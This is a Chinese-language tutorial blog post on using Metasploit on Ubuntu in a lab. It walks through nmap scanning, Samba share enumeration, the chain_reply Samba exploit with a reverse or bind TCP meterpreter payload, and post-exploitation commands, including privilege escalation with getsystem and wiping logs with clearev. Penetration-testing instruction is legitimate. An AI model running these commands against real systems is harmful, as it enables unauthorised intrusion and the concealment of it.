实践代码教你学会 Metasploit 渗透攻击【Ubuntu版本】

2023-12-19 12:12

本文主要是介绍实践代码教你学会 Metasploit 渗透攻击【Ubuntu版本】,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

    • 一. Metasploit 渗透工具
    • 二. 安装配置
    • 三. 模块讲解
      • 3.1 auxiliary-辅助模块
      • 3.2 exploit-渗透攻击模块
      • 3.3 payload-攻击荷载模块
    • 四. 模拟攻击
      • 4.1 准备工作
      • 4.2 漏洞探测
      • 4.3 漏洞利用
      • 4.4 后渗透操作

一. Metasploit 渗透工具


Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程

二. 安装配置

切换至准备下载软件的目录下

cd /opt

下载

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

msf默认使用的PostgreSQL数据库不能与root用户关联,所以我们需要添加新用户msf,并且每次启动msf,都需要切换用户,否则数据库无法同步

# 添加msf用户
adduser msf
# 切换到msf用户
su msf
# 切换到msf所在的目录
cd  /opt/metasploit-framework/bin
# 启动msfconsole
./msfconsole

在这里插入图片描述

可将metasploit添加至执行目录,往后在任何目录直接msfconsole就可以

ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole

更新msf(可选)

# MSF后期更新升级
msfupdate

三. 模块讲解

3.1 auxiliary-辅助模块


辅助模块

该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。

查看辅助模块

show auxiliary/xxx

3.2 exploit-渗透攻击模块


渗透攻击模块

是利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的一个代码模块

查看不同系统的可利用漏洞

search exploits/xxxx

3.3 payload-攻击荷载模块


攻击荷载模块

攻击载荷是渗透目标系统之后完成实际攻击功能的代码,用于在目标系统上运行任意命令或者执行特定代码。

查看可用代码

# 查看可用代码
search payloads/xxxx

组成

  • Single:完全独立的Payload,运行简单,例如添加一个系统用户或删除一份文件。

    • 格式:形如target/single ,如:windows/powershell_bind_tcp
  • Stager:负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。

  • Stage:是Stager下的一种组件,可以提供更加高级的功能

    • 格式:形如target/stage/stager, 如:windows/meterpreter/reverse_tcp,包含一个Stage Payload(meterpreter)和 一个Stager Payload(reverse_tcp)组成。

四. 模拟攻击

4.1 准备工作


被渗透机器:10.137.5.2,先给被渗透的机器安装一些服务,便于被发现

apt-get install vsftpd
apt-get install openssh-server
apt-get install telnet
apt-get install postfix
apt-get install samba

攻击机器为:10.137.5.1,安装namp用作服务和端口扫描

apt-get install nmap

开始扫描目标机器,注意要在root权限下运行命令

# -sS:表示这是一个基本的扫描方式,Nmap发送SYN包到远程主机,但不会在目标主机上产生任何日志记录
# -sV:用来扫描目标主机和端口上运行的软件的版本
# -n:不进行dns解析操作
nmap -sS -sV -n 10.137.5.2

在这里插入图片描述

表示总共运行了如下服务和开启如下端口

服务端口
vsftpd21
Openssh22
smtpd25
samba139 和 445

4.2 漏洞探测


首先进入框架

msfconsole

假设利用samba服务渗透,搜索相关扫描漏洞,选择一个漏洞进行渗透

search scanner/smb

在这里插入图片描述

选择漏洞探测,一般Auxiliary就是负责执行扫描

use auxiliary/scanner/smb/smb_enumshares

查看该模块所需的配置信息

show options

在这里插入图片描述

设置要探测的远程目标

set rhosts 10.137.5.2

对该主机进行渗透攻击,正常情况下,有+号的就是可能存在漏洞的主机

exploit

在这里插入图片描述

4.3 漏洞利用


查找利用漏洞

search linux/samba

在这里插入图片描述

选择漏洞攻击

use linux/samba/chain_reply

查看设置参数

show options

在这里插入图片描述

可以看见我们只需要设置探测的远程目标即可

set rhosts 10.137.5.2

可以看见,已默认选择了一种攻击方式linux/x86/meterpreter/reverse_tcp

在这里插入图片描述
如果不满意,可以查看攻击荷载

show  payloads

在这里插入图片描述
再额外设置攻击荷载,记住要选择了linux版本,例如

set payload payload/linux/x86/shell_bind_tcp

再次查看需配置参数,发现已经被更改

show options

其中lport,表示反弹shell到我们主机的这个端口

在这里插入图片描述

设置回弹主机地址

set lhost 10.137.5.1

进行攻击

exploit

理论上,在这里就已经攻击成功,但是由于版本更新的问题,很多软件已经被修复漏洞,根本无法成功渗透,如需成功渗透,可尝试使用低版本的软件或系统

4.4 后渗透操作


运行成功之后,我们将会看到命令提示符 meterpreter > 出现,输入shell进入目标主机终端

shell

退出终端,回到meterpreter

exit

meterpreter下,我们可以进行如下操作

命令含义命令含义
sysinfo查看主机消息pwd查看当前目录
cd切换文件夹cat查看文件内容
rm删除文件edit编辑文件
ls查看文件详情mkdir创建目录
download file下载文件upload file上传文件
screenshot截图getsystem权限提升

使用完毕getsystem,清除操作日志

clearev

挂载getsystem ,回到msf框架

background

查看保存的shell会话

sessions -l

输入session [id]即可再次进入终端

session 2

这篇关于实践代码教你学会 Metasploit 渗透攻击【Ubuntu版本】的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/512114

相关文章

C#实现千万数据秒级导入的代码

《C#实现千万数据秒级导入的代码》在实际开发中excel导入很常见,现代社会中很容易遇到大数据处理业务,所以本文我就给大家分享一下千万数据秒级导入怎么实现,文中有详细的代码示例供大家参考,需要的朋友可... 目录前言一、数据存储二、处理逻辑优化前代码处理逻辑优化后的代码总结前言在实际开发中excel导入很

Python一次性将指定版本所有包上传PyPI镜像解决方案

《Python一次性将指定版本所有包上传PyPI镜像解决方案》本文主要介绍了一个安全、完整、可离线部署的解决方案,用于一次性准备指定Python版本的所有包,然后导出到内网环境,感兴趣的小伙伴可以跟随... 目录为什么需要这个方案完整解决方案1. 项目目录结构2. 创建智能下载脚本3. 创建包清单生成脚本4

Spring Security简介、使用与最佳实践

《SpringSecurity简介、使用与最佳实践》SpringSecurity是一个能够为基于Spring的企业应用系统提供声明式的安全访问控制解决方案的安全框架,本文给大家介绍SpringSec... 目录一、如何理解 Spring Security?—— 核心思想二、如何在 Java 项目中使用?——

SpringBoot+RustFS 实现文件切片极速上传的实例代码

《SpringBoot+RustFS实现文件切片极速上传的实例代码》本文介绍利用SpringBoot和RustFS构建高性能文件切片上传系统,实现大文件秒传、断点续传和分片上传等功能,具有一定的参考... 目录一、为什么选择 RustFS + SpringBoot?二、环境准备与部署2.1 安装 RustF

Python实现Excel批量样式修改器(附完整代码)

《Python实现Excel批量样式修改器(附完整代码)》这篇文章主要为大家详细介绍了如何使用Python实现一个Excel批量样式修改器,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一... 目录前言功能特性核心功能界面特性系统要求安装说明使用指南基本操作流程高级功能技术实现核心技术栈关键函

防止Linux rm命令误操作的多场景防护方案与实践

《防止Linuxrm命令误操作的多场景防护方案与实践》在Linux系统中,rm命令是删除文件和目录的高效工具,但一旦误操作,如执行rm-rf/或rm-rf/*,极易导致系统数据灾难,本文针对不同场景... 目录引言理解 rm 命令及误操作风险rm 命令基础常见误操作案例防护方案使用 rm编程 别名及安全删除

C++统计函数执行时间的最佳实践

《C++统计函数执行时间的最佳实践》在软件开发过程中,性能分析是优化程序的重要环节,了解函数的执行时间分布对于识别性能瓶颈至关重要,本文将分享一个C++函数执行时间统计工具,希望对大家有所帮助... 目录前言工具特性核心设计1. 数据结构设计2. 单例模式管理器3. RAII自动计时使用方法基本用法高级用法

PHP应用中处理限流和API节流的最佳实践

《PHP应用中处理限流和API节流的最佳实践》限流和API节流对于确保Web应用程序的可靠性、安全性和可扩展性至关重要,本文将详细介绍PHP应用中处理限流和API节流的最佳实践,下面就来和小编一起学习... 目录限流的重要性在 php 中实施限流的最佳实践使用集中式存储进行状态管理(如 Redis)采用滑动

ShardingProxy读写分离之原理、配置与实践过程

《ShardingProxy读写分离之原理、配置与实践过程》ShardingProxy是ApacheShardingSphere的数据库中间件,通过三层架构实现读写分离,解决高并发场景下数据库性能瓶... 目录一、ShardingProxy技术定位与读写分离核心价值1.1 技术定位1.2 读写分离核心价值二

深入浅出Spring中的@Autowired自动注入的工作原理及实践应用

《深入浅出Spring中的@Autowired自动注入的工作原理及实践应用》在Spring框架的学习旅程中,@Autowired无疑是一个高频出现却又让初学者头疼的注解,它看似简单,却蕴含着Sprin... 目录深入浅出Spring中的@Autowired:自动注入的奥秘什么是依赖注入?@Autowired